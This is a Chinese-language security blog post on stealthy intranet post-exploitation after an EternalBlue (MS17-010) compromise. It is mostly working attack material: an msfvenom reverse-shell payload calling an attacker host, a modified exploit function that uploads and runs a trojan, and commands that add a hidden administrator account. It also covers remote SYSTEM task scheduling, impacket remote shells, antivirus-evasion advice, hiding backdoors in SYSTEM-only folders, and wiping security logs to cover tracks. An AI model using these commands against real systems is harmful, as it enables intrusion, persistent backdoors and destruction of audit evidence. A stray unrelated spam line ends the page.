從永恒之藍看后滲透

2019-11-22 136190人圍觀 ,發現 13 個不明物體 系統安全

我們今天的故事,從永恒之藍開始,講述如何在內網中如何悄無聲息的完成一次內網滲透,PTH等章節內容太多,后續跟上……

背景

我們通過跳板成功獲得了目標內網的一臺機器,發現目標網絡擁有健全的防護機制與企業級防護軟件,掃描探測和遠程登錄從暴露的風險角度自然是不被允許的,接下來我們僅借助永恒之藍完成對內網目標的滲透攻擊,只需要跳板機提供的一條socks隧道即可。

首先從輕量級考慮,我們并不會把msf直接接入對方內網,這里推薦下worawit大佬的python版利用工具。

工具地址:https://github.com/worawit/MS17-010

管道探測

我們接下來以一臺目標為例,對目標進行poc探測:

python2 checker.py 192.168.154.138

該工具利用基礎為管道開放,意味著接下來的exp工作可否順利開展。

程序執行

接下來對木馬做好免殺工作,可以說CS或者其他成熟木馬,本處演示方便采用了msf生成的木馬:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe

變更如下exp函數,免殺處理后發送木馬到目標指定目錄并執行,這里吐槽一句,網上的攻略多復制粘貼,為什么都帶著作者的demo?在C盤下生成一個空文本,好好讀讀代碼,真的沒必要:

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
    service_exec(conn, r'cmd /c  c:\\Users\Public\rabbit.exe')

python zzz_exploit.py 192.168.154.138

腳本語法是需要管道名稱的,如不指定則自動選擇,如下上傳并執行成功。

這里只是個例子,運行的是什么由你決定,自行替換。

賬戶控制

同樣,使用zzz_exploit.py,函數變更如下新增賬戶:

def smb_pwn(conn, arch):
    service_exec(conn, r'cmd /c  net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')

IPC$連接

IPC$在內網滲透中的地位一直都是經典,我們在來回顧下基于IPC$的一系列遠程操作:

#建立ipc$連接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#斷開全部連接
net use * /del /y
#將目標C盤映射到本地的z盤,滲透測試一定不要做這個
net use z: \\IP\c$`
#把本地文件復制到目標主機的共享目錄
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#遠程增加定時任務:
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定時任務
at \\192.168.15.180 /delete /y
#查看當前定時任務
at \\192.168.15.180

然而在我們的PC>win7版本時,不再支持at命令,替代方案為schtasks

#創建定時任務
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System  /u rabbitmask /p "1q2w3e4r!"
#查看當前定時任務,如不加/tn test則查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#刪除掉剛剛增加的定時任務
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#參數解釋
/create表示創建計劃任務
/tn表示任務名
/tr指定運行的文件
/sc是任務運行頻率
/st是執行時間
/s指定遠程機器名或ip地址
/ru指定運行任務的用戶權限,這里指定為最高的SYSTEM
#查看遠程目標進程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#殺死pid為1000的進程
taskkill /s 192.168.15.180 /f /pid 1000
#殺死名為rabbit.exe的進程
taskkill /s 192.168.15.180 /f /im rabbit.exe

目錄選擇

為什么要單獨拿出目錄選擇來說道下呢,我們來看個比較,首先是administrator權限看到的C盤根目錄:

然后我們通過木馬的提升的system權限看一下:

可以看到其中有幾個目錄是用戶看不到的,包括administrator,只有system擁有訪問權限,這里就是后門最佳的隱藏地點。

其中System Volume Information可寫作system~1,不用擔心空格等問題:

會話獲取

既然已經創建完賬號密碼了,想直接執行命令的話ipc$其實并不太方便,我們直接smb登錄目標。

為什么不用RDP?我也問過同樣的問題,差點沒被內網大佬噴死,有些場合RDP確實風險極大,與君共勉。

這里安利個python的第三方庫impacket

項目地址:https://github.com/SecureAuthCorp/impacket

smbexec

其中有個打包好的工具smbexec,這里賣個關子,這里會用到,后邊講PTH也會用到。

python smbexec.py rabbitmask:[email protected]

這里我們已成功通過smb登錄目標,且權限為system,因為它的原理是創建服務運行,即`sc`,權限為最高權限system,最后建議退出方式exit,否則可能有未知錯誤,嘗試指定下共享路徑。

python smbexec.py rabbitmask:[email protected] -share admin$

這里插一句,共享路徑是指的即邏輯共享(C$,D$,E$……)和系統目錄(ADMIN$)共享,可通過net share了解:

wmiexec

這是后來smbexec出現編碼bug,大佬推薦的另一款工具,同屬impacket包,他的使用需要調用wmi服務,占用目標的445、135和另一個隨機端口,而smbexec只使用445端口,這一塊協議/服務底層問題感興趣的可以繼續深入研究。

python wmiexec.py rabbitmask:[email protected]

msf_psexec

上述腳本在應對某些目標機是可能存在命令編碼問題,這可能是python環境導致的,所有依然提供個保底方案,msf。

use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!

不過它默認會植入meterpreter進行反彈shell!關鍵它沒默認做免殺,意味著會觸發殺軟,所以我們擱到最后保底,真要用的話處理下payload,太自動化有時未必是件好事,與其相信謠言,不如自己思考下為什么在這里筆者如此不推薦筆者所鐘愛的msf。

日志清理

適用范圍>=win7,我們的操作主要存在于安全日志,無腦全清的話如下即可,當然,單條刪除日志不嫌麻煩的話亦可,奇安信的A-team好像還有一款日志進程kill工具(滲透結束再拉起),但測試不太穩定,大家自行抉擇。

wevtutil gl security查看SECURITY日志的詳細信息

wevtutil cl security清空SECURITY日志

同理可操作其他日志:APPLICATION、SETUP、SYSTEM、FORWARDEDEVENTS。

就這樣,我們悄無聲息的在目標機逛了一圈安全撤離,并留下了永久后門,篇幅限制,PTH、PTT、域滲透等內容不做展開,敬請期待。

*本文原創作者:rabbitmask,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

相關推薦
發表評論

已有 13 條評論

取消
Loading...

特別推薦

推薦關注

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 什么app能玩二人麻将